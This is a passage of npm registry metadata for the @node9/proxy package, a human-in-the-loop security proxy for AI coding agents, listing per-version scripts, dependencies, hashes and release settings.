-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.0.15","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"f10022befd93382691a16e8946a6bdfa2e3e15aa","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.15.tgz","fileCount":11,"integrity":"sha512-WWOB9TiiwJ3ci+nkOzLWxj1333kkGmaCQ+9zCw8aHIs415JW47mLC5HhhSdRzhQqlxFXPbWAiZE/Z0VjBQOBXw==","signatures":[{"sig":"MEYCIQCjHXEpO1QHcGsevDkNiWvTi32ZsusZJ5geMETen7wVsQIhALCsVpzGLxa3u8KVuAXoIsjah7ajoE1EZEa2UJNWgbOs","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.15","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":651357},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"a1e1ae439a17952dcc93e17293363989411158ea","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.15_1774195515610_0.711372760177823","host":"s3://npm-registry-packages-npm-production"}},"1.0.16":{"name":"@node9/proxy","version":"1.0.16","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.0.16","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"e648b8cd562ae021b71232e541486c08d6b13339","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.16.tgz","fileCount":11,"integrity":"sha512-yPpB96B61pR1th3HNnlxnjXrPwaJpxke8G57T7Mhaesf9lhUcgFggvS9ZqB1oDx0K8gHKPHRs1osGd6zSk0Ehg==","signatures":[{"sig":"MEUCIEyTSmyVz3lHhk7cuOr/qlAAxyOd7W0eO8RkzvvJHb0PAiEArq7fqq9mmXhnbVgUsJ0bUEZzf96EiIxZHsrUwsAteUo=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.16","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":659373},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"4c30225101d063d6aeb323571e55dd854c15733f","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.16_1774202911827_0.8629253544343694","host":"s3://npm-registry-packages-npm-production"}},"1.0.17":{"name":"@node9/proxy","version":"1.0.17","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.0.17","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"c72b86bda9d479a57cc312fe7eb503dcb0d9f33e","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.17.tgz","fileCount":11,"integrity":"sha512-igzpiK/NPLWLcTQ64BYrVVFDBAAqjq4ws5MojHfWi6fzmiNANiUmr5grpzhMqvuCqJ2KduUgyMeYWILLwADNdQ==","signatures":[{"sig":"MEUCIAznrmnMymI6QE0iNjkmRUbgHq6z+QDoxdzcE3TbtFcJAiEA0XEIBf32rQhP8aZZl2QyXBtuUWGdgxPiGfontwIZxGA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.17","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":659451},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"e82da9ae59ba7db54c1bab7763c42ea0cf3c0a40","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.17_1774203362199_0.08984168650607405","host":"s3://npm-registry-packages-npm-production"}},"1.0.18":{"name":"@node9/proxy","version":"1.0.18","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.0.18","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"5f0faa7c3574333487b83c0e86b501e84dee52ba","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.18.tgz","fileCount":11,"integrity":"sha512-G5BCvjlSJLL6Aa9bcEmF++7GHWONDvXmjgzT12BwWgbk+BhBuxrCsaLSaWoL2AAKAm0dV2P7872TA8yfvugQow==","signatures":[{"sig":"MEUCIED2zMc5zmkR340OxJFTCgo02v0ySg9k9lqifb6sfkV7AiEAh/jfbJhMMPTUbq5F7LMd+JvepvzKbPPOXlCilEIpqKI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.18","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":678406},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"4896f6a184edcd79305a7f5d4c4aad2324b9cca4","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.18_1774216279235_0.7335984273099401","host":"s3://npm-registry-packages-npm-production"}},"1.0.19":{"name":"@node9/proxy","version":"1.0.19","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.0.19","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"c498159d5538d76aab79dfbcbdc5faea0b93f2fb","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.19.tgz","fileCount":11,"integrity":"sha512-jeDGBO2eZgs8KylHLyEbUu6p9alCL8hVZKT+eSxtKdB4wm7+FDBLrRv7vyDcDq/byjMGqhxSLOKekPdqL8/mPQ==","signatures":[{"sig":"MEYCIQCpwtv9+Xnv5lKNpcxG7yPvkFjhSa1yIvvdRH/8Tlrz8wIhAOKBoCK4+fv96SH6LQo8X6nRTJDTyPrdeToGFmHtrTWJ","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.19","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":679214},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"20d0c870fc0dccd0d728331d62ceb32189be14a3","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.19_1774270031962_0.5818380700044259","host":"s3://npm-registry-packages-npm-production"}},"1.1.0":{"name":"@node9/proxy","version":"1.1.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.1.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"b5889d0738dd9d7ba4d71b57a0bed5dc3ffb2ffa","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.1.0.tgz","fileCount":11,"integrity":"sha512-+Lu85s4lwFFqEv9hVDAU/kermDp14RNyOcuQ32Q4hpZrkVN8EmPWte8oAJF5z8fjEO8ZtIWiUFWTug3mOprVKQ==","signatures":[{"sig":"MEUCIBdokbJsSuum5VEK43LZ0qFW/ubDHpkyVXWw9qoqakhSAiEAggkHpkzaAmhPsnuFkCSwy79riaw2KKTaDObvpTXXP0c=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.1.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":707388},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"8578f7cfa98386cc943d66111b323fe39597b64a","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.1.0_1774361298090_0.530522874507819","host":"s3://npm-registry-packages-npm-production"}},"1.1.1":{"name":"@node9/proxy","version":"1.1.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.1.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"cdfbd1cc4bab25cd9ca77cf7bb371561b52a3df7","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.1.1.tgz","fileCount":11,"integrity":"sha512-WydWT4AjugAh2XmGXg+KC9qCecVm+3b2aI046rZtmeIH3wVmMgxjd3Q7XZKV+NRCCxQSLUHV3IlaotZZCGnWnA==","signatures":[{"sig":"MEYCIQDWrQMuppoUJbz2mcSgUcEO4e6Vv/+eNMW6bZSOo6PvGQIhAIa0VGp7KyY7PsE+o6odsYtELudhShzGuRygvskvDNfZ","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.1.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":706854},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"2131d83b6e75aa5773d087380ef5524d5aa4c1f5","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","safe-regex2":"^5.1.0","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.1.1_1774374097847_0.8624499464592676","host":"s3://npm-registry-packages-npm-production"}},"1.1.2":{"name":"@node9/proxy","version":"1.1.2","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.1.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"583a546572c8ae1acb53cc3e680c8ae4d2f0d439","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.1.2.tgz","fileCount":11,"integrity":"sha512-FP6XuSKgxOEEPPO7/Pa/Owq5TAFLj/XhK/Po/nmBiixzKcg1d8vd6DSNKPt0oGIbSGFP7PtBvkguQRu02wtZ4w==","signatures":[{"sig":"MEUCIQCLvbfGfgO0DI3bIGjAMhIanthxVd0MGTMCHPZx2uu57wIgTHnUy989Bmg2PV2bLgti5yoCVqEfEdqPupZHKvBDZzs=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.1.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":706854},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"faf5dad4fb8a3cc1477dc35360136cfaaabe9ae6","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc 